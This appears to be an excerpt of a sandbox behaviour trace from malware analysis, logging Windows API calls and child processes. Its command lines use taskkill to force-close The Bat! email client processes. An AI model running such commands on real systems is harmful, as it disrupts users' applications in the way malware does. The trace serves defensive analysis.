	[0047.577] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0047.578] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0047.578] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0047.578] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0047.578] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0047.578] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0047.578] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0047.578] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0047.578] GetProcessHeap () returned 0x250000
	[0047.578] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x263570 | out: hHeap=0x250000) returned 1
	[0047.578] GetProcessHeap () returned 0x250000
	[0047.578] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xa) returned 0x25fee0
	[0047.578] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0047.579] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im thebat.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x17f3b4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im thebat.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x17f400 | out: lpCommandLine="taskkill  /f /im thebat.exe ", lpProcessInformation=0x17f400*(hProcess=0x78, hThread=0x74, dwProcessId=0x980, dwThreadId=0x984)) returned 1
	[0047.584] CloseHandle (hObject=0x74) returned 1
	[0047.584] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0047.584] GetProcessHeap () returned 0x250000
	[0047.584] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ed0 | out: hHeap=0x250000) returned 1
	[0047.584] GetEnvironmentStringsW () returned 0x274a48*
	[0047.584] GetProcessHeap () returned 0x250000
	[0047.584] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xb36) returned 0x264090
	[0047.585] FreeEnvironmentStringsW (penv=0x274a48) returned 1
	[0047.585] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0047.864] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x17f2f4 | out: lpExitCode=0x17f2f4*=0x80) returned 1
	[0047.864] CloseHandle (hObject=0x78) returned 1
	[0047.864] _vsnwprintf (in: _Buffer=0x17f43c, _BufferCount=0x13, _Format="%08X", _ArgList=0x17f300 | out: _Buffer="00000080") returned 8
	[0047.864] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0047.864] GetProcessHeap () returned 0x250000
	[0047.864] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x264090 | out: hHeap=0x250000) returned 1
	[0047.864] GetEnvironmentStringsW () returned 0x264090*
	[0047.864] GetProcessHeap () returned 0x250000
	[0047.864] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xb5c) returned 0x265ed0
	[0047.864] FreeEnvironmentStringsW (penv=0x264090) returned 1
	[0047.864] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0047.865] GetProcessHeap () returned 0x250000
	[0047.865] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ed0 | out: hHeap=0x250000) returned 1
	[0047.865] GetEnvironmentStringsW () returned 0x264090*
	[0047.865] GetProcessHeap () returned 0x250000
	[0047.865] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xb5c) returned 0x265ed0
	[0047.865] FreeEnvironmentStringsW (penv=0x264090) returned 1
	[0047.865] GetProcessHeap () returned 0x250000
	[0047.865] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x25fee0 | out: hHeap=0x250000) returned 1
	[0047.865] DeleteProcThreadAttributeList (in: lpAttributeList=0x17f358 | out: lpAttributeList=0x17f358) 
	[0047.865] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0047.865] SetConsoleMode (hConsoleHandle=0xc8, dwMode=0x0) returned 0
	[0047.865] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0047.865] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a8c41ac | out: lpMode=0x4a8c41ac) returned 0
	[0047.865] _get_osfhandle (_FileHandle=0) returned 0xc4
	[0047.865] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a8c41b0 | out: lpMode=0x4a8c41b0) returned 0
	[0047.865] GetConsoleOutputCP () returned 0x1b5
	[0047.865] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a8c4260 | out: lpCPInfo=0x4a8c4260) returned 1
	[0047.865] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0047.866] exit (_Code=128) 

Process:
	id = "71"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4b43b000"
	os_pid = "0x980"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "70"
	os_parent_pid = "0x988"
	cmd_line = "taskkill  /f /im thebat.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 299
	os_tid = 0x984


Thread:
	id = 300
	os_tid = 0x990


Thread:
	id = 301
	os_tid = 0x998


Thread:
	id = 302
	os_tid = 0x84c


Thread:
	id = 303
	os_tid = 0x834


Process:
	id = "72"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x49938000"
	os_pid = "0x82c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im thebat64.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 304
	os_tid = 0x830

	[0047.949] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x27fa5c | out: lpSystemTimeAsFileTime=0x27fa5c*(dwLowDateTime=0x2349f60, dwHighDateTime=0x1d52dc5)) 
	[0047.949] GetCurrentProcessId () returned 0x82c
	[0047.949] GetCurrentThreadId () returned 0x830
	[0047.949] GetTickCount () returned 0x1c2a2
	[0047.949] QueryPerformanceCounter (in: lpPerformanceCount=0x27fa54 | out: lpPerformanceCount=0x27fa54*=16825898620) returned 1
	[0047.950] GetModuleHandleA (lpModuleName=0x0) returned 0x4a160000
	[0047.950] __set_app_type (_Type=0x1) 
	[0047.950] __p__fmode () returned 0x74eb31f4
	[0047.950] __p__commode () returned 0x74eb31fc
	[0047.950] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a1821a6) returned 0x0
	[0047.950] __getmainargs (in: _Argc=0x4a184238, _Argv=0x4a184240, _Env=0x4a18423c, _DoWildCard=0, _StartInfo=0x4a184140 | out: _Argc=0x4a184238, _Argv=0x4a184240, _Env=0x4a18423c) returned 0
	[0047.951] GetCurrentThreadId () returned 0x830
	[0047.951] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x830) returned 0x60
	[0047.951] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0047.951] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0047.951] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0047.951] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0047.951] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27f9ec | out: phkResult=0x27f9ec*=0x0) returned 0x2
	[0047.951] VirtualQuery (in: lpAddress=0x27fa23, lpBuffer=0x27f9bc, dwLength=0x1c | out: lpBuffer=0x27f9bc*(BaseAddress=0x27f000, AllocationBase=0x180000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0047.951] VirtualQuery (in: lpAddress=0x180000, lpBuffer=0x27f9bc, dwLength=0x1c | out: lpBuffer=0x27f9bc*(BaseAddress=0x180000, AllocationBase=0x180000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0047.951] VirtualQuery (in: lpAddress=0x181000, lpBuffer=0x27f9bc, dwLength=0x1c | out: lpBuffer=0x27f9bc*(BaseAddress=0x181000, AllocationBase=0x180000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0047.951] VirtualQuery (in: lpAddress=0x183000, lpBuffer=0x27f9bc, dwLength=0x1c | out: lpBuffer=0x27f9bc*(BaseAddress=0x183000, AllocationBase=0x180000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0047.952] VirtualQuery (in: lpAddress=0x280000, lpBuffer=0x27f9bc, dwLength=0x1c | out: lpBuffer=0x27f9bc*(BaseAddress=0x280000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0047.952] GetConsoleOutputCP () returned 0x1b5
	[0047.952] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a184260 | out: lpCPInfo=0x4a184260) returned 1
	[0047.952] SetConsoleCtrlHandler (HandlerRoutine=0x4a17e72a, Add=1) returned 1
	[0047.952] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0047.952] SetConsoleMode (hConsoleHandle=0xc4, dwMode=0x0) returned 0
	[0047.952] _get_osfhandle (_FileHandle=1) returned 0xc4
	[0047.952] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a1841ac | out: lpMode=0x4a1841ac) returned 0
	[0047.952] _get_osfhandle (_FileHandle=0) returned 0xc0
	[0047.952] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a1841b0 | out: lpMode=0x4a1841b0) returned 0
	[0047.952] GetEnvironmentStringsW () returned 0x5d2008*
	[0047.952] GetProcessHeap () returned 0x5c0000
	[0047.952] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xaca) returned 0x5d2ae0
	[0047.953] FreeEnvironmentStringsW (penv=0x5d2008) returned 1
	[0047.953] GetProcessHeap () returned 0x5c0000
	[0047.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4) returned 0x5d0c40
	[0047.953] GetEnvironmentStringsW () returned 0x5d2008*
	[0047.953] GetProcessHeap () returned 0x5c0000
	[0047.953] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xaca) returned 0x5d35b8
	[0047.953] FreeEnvironmentStringsW (penv=0x5d2008) returned 1
	[0047.953] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x27e95c | out: phkResult=0x27e95c*=0x68) returned 0x0
	[0047.953] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x0, lpData=0x27e968*=0x0, lpcbData=0x27e960*=0x1000) returned 0x2
	[0047.953] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x4, lpData=0x27e968*=0x1, lpcbData=0x27e960*=0x4) returned 0x0
	[0047.953] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x0, lpData=0x27e968*=0x1, lpcbData=0x27e960*=0x1000) returned 0x2
	[0047.953] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x4, lpData=0x27e968*=0x0, lpcbData=0x27e960*=0x4) returned 0x0
	[0047.953] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x4, lpData=0x27e968*=0x40, lpcbData=0x27e960*=0x4) returned 0x0
	[0047.953] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x4, lpData=0x27e968*=0x40, lpcbData=0x27e960*=0x4) returned 0x0
	[0047.953] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x0, lpData=0x27e968*=0x40, lpcbData=0x27e960*=0x1000) returned 0x2
	[0047.953] RegCloseKey (hKey=0x68) returned 0x0
	[0047.953] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x27e95c | out: phkResult=0x27e95c*=0x68) returned 0x0
	[0047.954] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x0, lpData=0x27e968*=0x40, lpcbData=0x27e960*=0x1000) returned 0x2
	[0047.954] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x4, lpData=0x27e968*=0x1, lpcbData=0x27e960*=0x4) returned 0x0
	[0047.954] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x0, lpData=0x27e968*=0x1, lpcbData=0x27e960*=0x1000) returned 0x2
	[0047.954] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x4, lpData=0x27e968*=0x0, lpcbData=0x27e960*=0x4) returned 0x0
	[0047.954] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x4, lpData=0x27e968*=0x9, lpcbData=0x27e960*=0x4) returned 0x0
	[0047.954] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x4, lpData=0x27e968*=0x9, lpcbData=0x27e960*=0x4) returned 0x0
	[0047.954] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x27e964, lpData=0x27e968, lpcbData=0x27e960*=0x1000 | out: lpType=0x27e964*=0x0, lpData=0x27e968*=0x9, lpcbData=0x27e960*=0x1000) returned 0x2
	[0047.954] RegCloseKey (hKey=0x68) returned 0x0
	[0047.954] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163038
	[0047.954] srand (_Seed=0x5d163038) 
	[0047.954] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im thebat64.exe \""
	[0047.954] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im thebat64.exe \""
	[0047.954] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a185260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0047.954] GetProcessHeap () returned 0x5c0000
	[0047.954] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x210) returned 0x5d2008
	[0047.954] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5d2010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0047.955] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0047.955] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.955] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0047.955] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0047.955] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0047.955] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0047.955] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0047.955] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0047.955] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0047.955] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0047.955] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0047.955] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0047.955] GetProcessHeap () returned 0x5c0000
	[0047.955] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d2ae0 | out: hHeap=0x5c0000) returned 1
	[0047.955] GetEnvironmentStringsW () returned 0x5d2220*
	[0047.955] GetProcessHeap () returned 0x5c0000
	[0047.955] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xae2) returned 0x5d4b80
	[0047.955] FreeEnvironmentStringsW (penv=0x5d2220) returned 1
	[0047.955] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0047.955] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0047.955] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0047.955] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0047.955] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0047.955] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0047.955] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0047.956] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0047.956] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0047.956] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0047.956] GetProcessHeap () returned 0x5c0000
	[0047.956] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x54) returned 0x5d5670
	[0047.956] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x27f728 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0047.956] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x27f728, lpFilePart=0x27f724 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x27f724*="Desktop") returned 0x25
	[0047.956] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0047.956] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x27f4a4 | out: lpFindFileData=0x27f4a4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5d1e88
	[0047.956] FindClose (in: hFindFile=0x5d1e88 | out: hFindFile=0x5d1e88) returned 1
	[0047.956] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x27f4a4 | out: lpFindFileData=0x27f4a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5d1e88
	[0047.956] FindClose (in: hFindFile=0x5d1e88 | out: hFindFile=0x5d1e88) returned 1
	[0047.956] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0047.956] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x27f4a4 | out: lpFindFileData=0x27f4a4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5d1e88
	[0047.956] FindClose (in: hFindFile=0x5d1e88 | out: hFindFile=0x5d1e88) returned 1
	[0047.957] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0047.957] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0047.957] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0047.957] GetProcessHeap () returned 0x5c0000
	[0047.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4b80 | out: hHeap=0x5c0000) returned 1
	[0047.957] GetEnvironmentStringsW () returned 0x5d4090*
	[0047.957] GetProcessHeap () returned 0x5c0000
	[0047.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xb36) returned 0x5d5ed0
	[0047.957] FreeEnvironmentStringsW (penv=0x5d4090) returned 1
	[0047.957] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a185260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0047.957] GetProcessHeap () returned 0x5c0000
	[0047.957] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d5670 | out: hHeap=0x5c0000) returned 1
	[0047.957] GetProcessHeap () returned 0x5c0000
	[0047.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x400e) returned 0x5d6a10
	[0047.957] GetProcessHeap () returned 0x5c0000
	[0047.957] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4c) returned 0x5d2d60
	[0047.958] GetProcessHeap () returned 0x5c0000
	[0047.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4008) returned 0x5daa28
	[0047.958] GetProcessHeap () returned 0x5c0000
	[0047.958] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x4008) returned 0x5dea38
	[0047.959] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0047.959] GetProcessHeap () returned 0x5c0000
	[0047.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x418) returned 0x5d2db8
	[0047.960] SetErrorMode (uMode=0x0) returned 0x8003
	[0047.960] SetErrorMode (uMode=0x1) returned 0x0
	[0047.960] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x5d2dc0, lpFilePart=0x27f6a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x27f6a0*="f") returned 0x31
	[0047.960] SetErrorMode (uMode=0x8003) returned 0x1
	[0047.960] GetProcessHeap () returned 0x5c0000
	[0047.960] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d2db8, Size=0x8e) returned 0x5d2db8
	[0047.960] GetProcessHeap () returned 0x5c0000
	[0047.960] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5d2db8) returned 0x8e
	[0047.960] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0047.960] GetProcessHeap () returned 0x5c0000
	[0047.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x72) returned 0x5e2a60
	[0047.960] GetProcessHeap () returned 0x5c0000
	[0047.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xd8) returned 0x5d2e50
	[0047.960] GetProcessHeap () returned 0x5c0000
	[0047.960] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d2e50, Size=0x72) returned 0x5d2e50
	[0047.960] GetProcessHeap () returned 0x5c0000
	[0047.960] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5d2e50) returned 0x72
	[0047.960] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a190640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0047.961] GetProcessHeap () returned 0x5c0000
	[0047.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0xe0) returned 0x5d2ed0
	[0047.964] GetProcessHeap () returned 0x5c0000
	[0047.964] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d2ed0, Size=0x76) returned 0x5d2ed0
	[0047.964] GetProcessHeap () returned 0x5c0000
	[0047.964] RtlSizeHeap (HeapHandle=0x5c0000, Flags=0x0, MemoryPointer=0x5d2ed0) returned 0x76
	[0047.964] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
